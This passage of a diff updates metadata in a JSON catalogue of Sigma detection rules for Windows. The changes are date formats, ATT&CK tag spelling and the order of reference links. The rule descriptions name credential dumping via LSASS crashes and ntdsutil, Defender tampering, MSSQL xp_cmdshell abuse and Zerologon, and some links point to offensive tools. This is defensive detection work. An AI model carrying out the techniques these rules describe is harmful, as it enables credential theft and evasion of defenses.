"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_virus_scan_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -63895,7 +64000,7 @@ "description": "Windows Defender logs when the history of detected infections is deleted.", "meta": { "author": "Cian Heasley", - "creation_date": "2020/08/13", + "creation_date": "2020-08-13", "falsepositive": [ "Deletion of Defender malware detections history for legitimate reasons" ], @@ -63909,7 +64014,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "2afe6582-e149-11ea-87d0-0242ac130003", @@ -63919,7 +64024,7 @@ "description": "Detects the Setting of Windows Defender Exclusions", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/07/06", + "creation_date": "2021-07-06", "falsepositive": [ "Administrator actions" ], @@ -63932,7 +64037,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_config_change_exclusion_added.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -63952,7 +64057,7 @@ "description": "Detects disabling of the Windows Defender feature of scanning for malware and other potentially unwanted software", "meta": { "author": "Ján Trenčanský, frack113", - "creation_date": "2020/07/28", + "creation_date": "2020-07-28", "falsepositive": [ "Unknown" ], @@ -63961,13 +64066,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5010", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/", - "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5010", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_malware_and_pua_scan_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -63987,7 +64092,7 @@ "description": "Detects the restoration of files from the defender quarantine", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/06", + "creation_date": "2022-12-06", "falsepositive": [ "Legitimate administrator activity restoring a file" ], @@ -64000,7 +64105,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_restored_quarantine_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -64020,7 +64125,7 @@ "description": "Detects triggering of AMSI by Windows Defender.", "meta": { "author": "Bhabesh Raj", - "creation_date": "2020/09/14", + "creation_date": "2020-09-14", "falsepositive": [ "Unlikely" ], @@ -64053,7 +64158,7 @@ "description": "Detects the expiration of the grace period of Windows Defender. This means protection against viruses, spyware, and other potentially unwanted software is disabled.\n", "meta": { "author": "Ján Trenčanský, frack113", - "creation_date": "2020/07/28", + "creation_date": "2020-07-28", "falsepositive": [ "Unknown" ], @@ -64062,13 +64167,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5101", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_antimalware_platform_expired.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -64088,7 +64193,7 @@ "description": "Detects issues with Windows Defender Real-Time Protection features", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Christopher Peacock '@securepeacock' (Update)", - "creation_date": "2023/03/28", + "creation_date": "2023-03-28", "falsepositive": [ "Some crashes can occur sometimes and the event doesn't provide enough information to tune out these cases. Manual exception is required" ], @@ -64097,13 +64202,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/", "https://gist.github.com/nasbench/33732d6705cbdc712fae356f07666346", + "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/", "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_real_time_protection_errors.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -64123,7 +64228,7 @@ "description": "Detects suspicious changes to the Windows Defender configuration", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/06", + "creation_date": "2022-12-06", "falsepositive": [ "Administrator activity (must be investigated)" ], @@ -64132,12 +64237,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware", + "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_suspicious_features_tampering.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -64157,7 +64262,7 @@ "description": "Detects disabling of the \"Automatic Sample Submission\" feature of Windows Defender.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/06", + "creation_date": "2022-12-06", "falsepositive": [ "Administrator activity (must be investigated)" ], @@ -64166,12 +64271,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware", + "https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_config_change_sample_submission_consent.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -64191,7 +64296,7 @@ "description": "Detects restricted access to applications by the Software Restriction Policies (SRP) policy", "meta": { "author": "frack113", - "creation_date": "2023/01/12", + "creation_date": "2023-01-12", "falsepositive": [ "Unknown" ], @@ -64205,7 +64310,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft_windows_software_restriction_policies/win_software_restriction_policies_block.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1072" ] }, @@ -64222,10 +64327,10 @@ "value": "Restricted Software Access By SRP" }, { - "description": "Detects potentially highly relevant antivirus events in the application log based on known virus signature names and malware keywords.", + "description": "Detects potentially highly relevant antivirus events in the application log based on known virus signature names and malware keywords.\n", "meta": { "author": "Florian Roth (Nextron Systems), Arnim Rupp", - "creation_date": "2017/02/19", + "creation_date": "2017-02-19", "falsepositive": [ "Some software piracy tools (key generators, cracks) are classified as hack tools" ], @@ -64234,13 +64339,14 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", - "https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed", "https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31", + "https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed", + "https://www.nextron-systems.com/?s=antivirus", + "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/Other/win_av_relevant_match.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1588" ] }, @@ -64260,7 +64366,7 @@ "description": "This rule detects a suspicious crash of the Microsoft Malware Protection Engine", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/05/09", + "creation_date": "2017-05-09", "falsepositive": [ "MsMpEng might crash if the \"C:\\\" partition is full" ], @@ -64274,7 +64380,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/application_error/win_application_msmpeng_crash_error.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1211", "attack.t1562.001" ] @@ -64302,7 +64408,7 @@ "description": "Detects Windows error reporting event where the process that crashed is lsass. This could be the cause of an intentional crash by techniques such as Lsass-Shtinkering to dump credential", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/07", + "creation_date": "2022-12-07", "falsepositive": [ "Rare legitimate crashing of the lsass process" ], @@ -64311,13 +64417,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55", - "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", "https://github.com/deepinstinct/Lsass-Shtinkering", + "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", + "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/application_error/win_werfault_susp_lsass_credential_dump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -64337,7 +64443,7 @@ "description": "This rule detects a suspicious crash of the Microsoft Malware Protection Engine", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/05/09", + "creation_date": "2017-05-09", "falsepositive": [ "MsMpEng might crash if the \"C:\\\" partition is full" ], @@ -64351,7 +64457,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/windows_error_reporting/win_application_msmpeng_crash_wer.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1211", "attack.t1562.001" ] @@ -64379,7 +64485,7 @@ "description": "Detects potential abuse of ntdsutil to dump ntds.dit database", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/14", + "creation_date": "2022-08-14", "falsepositive": [ "Legitimate backup operation/creating shadow copies" ], @@ -64388,12 +64494,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/mgreen27/status/1558223256704122882", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", + "https://twitter.com/mgreen27/status/1558223256704122882", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/esent/win_esent_ntdsutil_abuse.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -64413,7 +64519,7 @@ "description": "Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/14", + "creation_date": "2022-08-14", "falsepositive": [ "Legitimate backup operation/creating shadow copies" ], @@ -64422,8 +64528,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/mgreen27/status/1558223256704122882", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", + "https://twitter.com/mgreen27/status/1558223256704122882", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/esent/win_esent_ntdsutil_abuse_susp_location.yml" ], "tags": [ @@ -64437,7 +64543,7 @@ "description": "Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited.\nMS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability.\nUnfortunately, that is about the only instance of CVEs being written to this log.\n", "meta": { "author": "Florian Roth (Nextron Systems), Zach Mathis", - "creation_date": "2020/01/15", + "creation_date": "2020-01-15", "falsepositive": [ "Unknown" ], @@ -64446,23 +64552,23 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/VM_vivisector/status/1217190929330655232", - "https://twitter.com/FlemmingRiis/status/1217147415482060800", "https://twitter.com/DidierStevens/status/1217533958096924676", - "https://nullsec.us/windows-event-log-audit-cve/", "https://www.youtube.com/watch?v=ebmW42YYveI", + "https://nullsec.us/windows-event-log-audit-cve/", + "https://twitter.com/FlemmingRiis/status/1217147415482060800", + "https://twitter.com/VM_vivisector/status/1217190929330655232", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft-windows_audit_cve/win_audit_cve.yml" ], "tags": [ "attack.execution", "attack.t1203", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1068", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1211", - "attack.credential_access", + "attack.credential-access", "attack.t1212", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1210", "attack.impact", "attack.t1499.004" @@ -64519,7 +64625,7 @@ "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure setting is changed.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/12", + "creation_date": "2022-07-12", "falsepositive": [ "Legitimate enable/disable of the setting", "Note that since the event contain the change for both values. This means that this will trigger on both enable and disable" @@ -64544,7 +64650,7 @@ "description": "Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/13", + "creation_date": "2022-07-13", "falsepositive": [ "Legitimate use of the feature by administrators (rare)" ], @@ -64553,8 +64659,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", "https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16", + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_sp_procoption_set.yml" ], "tags": [ @@ -64568,7 +64674,7 @@ "description": "Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/13", + "creation_date": "2022-07-13", "falsepositive": [ "Rare legitimate administrative activity" ], @@ -64591,7 +64697,7 @@ "description": "Detects when an attacker calls the \"ALTER SERVER AUDIT\" or \"DROP SERVER AUDIT\" transaction in order to delete or disable audit logs on the server", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/13", + "creation_date": "2022-07-13", "falsepositive": [ "This event should only fire when an administrator is modifying the audit policy. Which should be a rare occurrence once it's set up" ], @@ -64606,7 +64712,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_disable_audit_settings.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "350dfb37-3706-4cdc-9e2e-5e24bc3a46df", @@ -64616,7 +64722,7 @@ "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure is used to execute commands", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/12", + "creation_date": "2022-07-12", "falsepositive": [ "Unknown" ], @@ -64640,7 +64746,7 @@ "description": "Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.", "meta": { "author": "j4son", - "creation_date": "2023/10/11", + "creation_date": "2023-10-11", "falsepositive": [ "Unknown" ], @@ -64654,7 +64760,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_failed_logon_from_external_network.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1110" ] }, @@ -64674,7 +64780,7 @@ "description": "Detects failed logon attempts from clients to MSSQL server.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), j4son", - "creation_date": "2023/10/11", + "creation_date": "2023-10-11", "falsepositive": [ "This event could stem from users changing an account's password that's used to authenticate via a job or an automated process. Investigate the source of such events and mitigate them" ], @@ -64688,7 +64794,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/mssqlserver/win_mssql_failed_logon.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1110" ] }, @@ -64708,7 +64814,7 @@ "description": "Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators", "meta": { "author": "Bhabesh Raj", - "creation_date": "2021/09/01", + "creation_date": "2021-09-01", "falsepositive": [ "Legitimate Atera agent installation" ], @@ -64740,7 +64846,7 @@ "description": "Detects installation of a remote msi file from web.", "meta": { "author": "Stamatis Chatzimangou", - "creation_date": "2022/10/23", + "creation_date": "2022-10-23", "falsepositive": [ "Unknown" ], @@ -64753,7 +64859,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/msiinstaller/win_msi_install_from_web.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1218.007" ] @@ -64781,7 +64887,7 @@ "description": "An application has been removed. Check if it is critical.", "meta": { "author": "frack113", - "creation_date": "2022/01/28", + "creation_date": "2022-01-28", "falsepositive": [ "Unknown" ], @@ -64815,7 +64921,7 @@ "description": "Detects MSI package installation from suspicious locations", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/31", + "creation_date": "2022-08-31", "falsepositive": [ "False positives may occur if you allow installation from folders such as the desktop, the public folder or remote shares. A baseline is required before production use." ], @@ -64838,7 +64944,7 @@ "description": "Detects backup catalog deletions", "meta": { "author": "Florian Roth (Nextron Systems), Tom U. @c_APT_ure (collection)", - "creation_date": "2017/05/12", + "creation_date": "2017-05-12", "falsepositive": [ "Unknown" ], @@ -64847,12 +64953,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx", "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/microsoft_windows_backup/win_susp_backup_delete.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -64872,7 +64978,7 @@ "description": "Detects command execution via ScreenConnect RMM", "meta": { "author": "Ali Alwashali", - "creation_date": "2023/10/10", + "creation_date": "2023-10-10", "falsepositive": [ "Legitimate use of ScreenConnect" ], @@ -64881,8 +64987,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling", "https://github.com/SigmaHQ/sigma/pull/4467", + "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/screenconnect/win_app_remote_access_tools_screenconnect_command_exec.yml" ], "tags": [ @@ -64906,7 +65012,7 @@ "description": "Detects file being transferred via ScreenConnect RMM", "meta": { "author": "Ali Alwashali", - "creation_date": "2023/10/10", + "creation_date": "2023-10-10", "falsepositive": [ "Legitimate use of ScreenConnect" ], @@ -64915,8 +65021,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling", "https://github.com/SigmaHQ/sigma/pull/4467", + "https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/screenconnect/win_app_remote_access_tools_screenconnect_file_transfer.yml" ], "tags": [ @@ -64940,7 +65046,7 @@ "description": "Detects potential Active Directory enumeration via LDAP", "meta": { "author": "Adeem Mawani", - "creation_date": "2021/06/22", + "creation_date": "2021-06-22", "falsepositive": "No established falsepositives", "filename": "win_ldap_recon.yml", "level": "medium", @@ -64950,8 +65056,8 @@ "https://github.com/fox-it/BloodHound.py/blob/d65eb614831cd30f26028ccb072f5e77ca287e0b/bloodhound/ad/domain.py#L427", "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", "https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs", - "https://medium.com/falconforce/falconfriday-detecting-active-directory-data-collection-0xff21-c22d1a57494c", "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1", + "https://medium.com/falconforce/falconfriday-detecting-active-directory-data-collection-0xff21-c22d1a57494c", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml" ], "tags": [ @@ -64991,7 +65097,7 @@ "description": "Detects plugged/unplugged USB devices", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/11/09", + "creation_date": "2017-11-09", "falsepositive": [ "Legitimate administrative activity" ], @@ -65005,7 +65111,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1200" ] }, @@ -65025,7 +65131,7 @@ "description": "The attacker creates a computer object using those permissions with a password known to her.\nAfter that she clears the attribute ServicePrincipalName on the computer object.\nBecause she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/15", + "creation_date": "2021-12-15", "falsepositive": [ "Unknown" ], @@ -65038,7 +65144,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_directory_services_sam/win_system_exploit_cve_2021_42287.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558.003" ] }, @@ -65058,7 +65164,7 @@ "description": "Detects denied requests by Active Directory Certificate Services.\nExample of these requests denial include issues with permissions on the certificate template or invalid signatures.\n", "meta": { "author": "@SerkinValery", - "creation_date": "2024/03/07", + "creation_date": "2024-03-07", "falsepositive": [ "Unknown" ], @@ -65067,12 +65173,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.gradenegger.eu/en/details-of-the-event-with-id-53-of-the-source-microsoft-windows-certificationauthority/", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd299871(v=ws.10)", + "https://www.gradenegger.eu/en/details-of-the-event-with-id-53-of-the-source-microsoft-windows-certificationauthority/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_certification_authority/win_system_adcs_enrollment_request_denied.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1553.004" ] }, @@ -65092,7 +65198,7 @@ "description": "Detects events from the Kernel-General ETW indicating that the access bits of a hive with a system like hive name located in the temp directory have been reset.\nThis occurs when an application tries to access a hive and the hive has not be recognized since the last 7 days (by default).\nRegistry hive dumping utilities such as QuarksPwDump were seen emitting this behavior.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/05/15", + "creation_date": "2017-05-15", "falsepositive": [ "Unknown" ], @@ -65105,7 +65211,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kernel_general/win_system_susp_critical_hive_location_access_bits_cleared.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002" ] }, @@ -65125,7 +65231,7 @@ "description": "Detects the reporting of NTLMv1 being used between a client and server. NTLMv1 is insecure as the underlying encryption algorithms can be brute-forced by modern hardware.", "meta": { "author": "Tim Shelton, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/04/26", + "creation_date": "2022-04-26", "falsepositive": [ "Environments that use NTLMv1" ], @@ -65138,8 +65244,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/lsasrv/win_system_lsasrv_ntlmv1.yml" ], "tags": [ - "attack.defense_evasion", - "attack.lateral_movement", + "attack.defense-evasion", + "attack.lateral-movement", "attack.t1550.002" ] }, @@ -65159,7 +65265,7 @@ "description": "Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KBs aren't installed.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/04", + "creation_date": "2021-12-04", "falsepositive": [ "Unknown" ], @@ -65173,7 +65279,7 @@ ], "tags": [ "attack.impact", - "attack.resource_development", + "attack.resource-development", "attack.t1584" ] }, @@ -65193,7 +65299,7 @@ "description": "During exploitation of this vulnerability, two logs (Provider_Name:Microsoft-Windows-User Profiles Service) with EventID 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation. Viewed on 2008 Server", "meta": { "author": "Cybex", - "creation_date": "2022/08/16", + "creation_date": "2022-08-16", "falsepositive": [ "Corrupted user profiles - https://social.technet.microsoft.com/wiki/contents/articles/3571.windows-user-profiles-service-event-1511-windows-cannot-find-the-local-profile-and-is-logging-you-on-with-a-temporary-profile.aspx" ], @@ -65216,7 +65322,7 @@ "description": "This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with \"kali\" hostname.", "meta": { "author": "Demyan Sokolin @_drd0c, Teymur Kheirkhabarov @HeirhabarovT, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": "No established falsepositives", "filename": "win_system_possible_zerologon_exploitation_using_wellknown_tools.yml", "level": "critical", @@ -65229,7 +65335,7 @@ ], "tags": [ "attack.t1210", - "attack.lateral_movement" + "attack.lateral-movement" ] }, "related": [ @@ -65248,7 +65354,7 @@ "description": "Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.", "meta": { "author": "NVISO", - "creation_date": "2020/09/15", + "creation_date": "2020-09-15", "falsepositive": [ "Unknown" ], @@ -65261,7 +65367,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/netlogon/win_system_vul_cve_2020_1472.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1548" ] }, @@ -65281,7 +65387,7 @@ "description": "Detects well-known credential dumping tools execution via service execution events", "meta": { "author": "Florian Roth (Nextron Systems), Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2017/03/05", + "creation_date": "2017-03-05", "falsepositive": [ "Legitimate Administrator using credential dumping tool for password recovery" ], @@ -65294,7 +65400,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_mal_creddumper.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.execution", "attack.t1003.001", "attack.t1003.002", @@ -65356,7 +65462,7 @@ "description": "Detects powershell script installed as a Service", "meta": { "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Unknown" ], @@ -65389,7 +65495,7 @@ "description": "Detects PAExec service installation", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/26", + "creation_date": "2022-10-26", "falsepositive": [ "Unknown" ], @@ -65422,7 +65528,7 @@ "description": "Detects suspicious service installation commands", "meta": { "author": "pH-T (Nextron Systems), Florian Roth (Nextron Systems)", - "creation_date": "2022/03/18", + "creation_date": "2022-03-18", "falsepositive": [ "Unknown" ], @@ -65436,7 +65542,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "car.2013-09-005", "attack.t1543.003" ] @@ -65457,7 +65563,7 @@ "description": "Detects the use of smbexec.py tool by detecting a specific service installation", "meta": { "author": "Omer Faruk Celik", - "creation_date": "2018/03/20", + "creation_date": "2018-03-20", "falsepositive": [ "Unknown" ], @@ -65466,13 +65572,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/", "https://github.com/fortra/impacket/blob/edef71f17bc1240f9f8c957bbda98662951ac3ec/examples/smbexec.py#L60", "https://github.com/fortra/impacket/blob/33058eb2fde6976ea62e04bc7d6b629d64d44712/examples/smbexec.py#L286-L296", + "https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/", 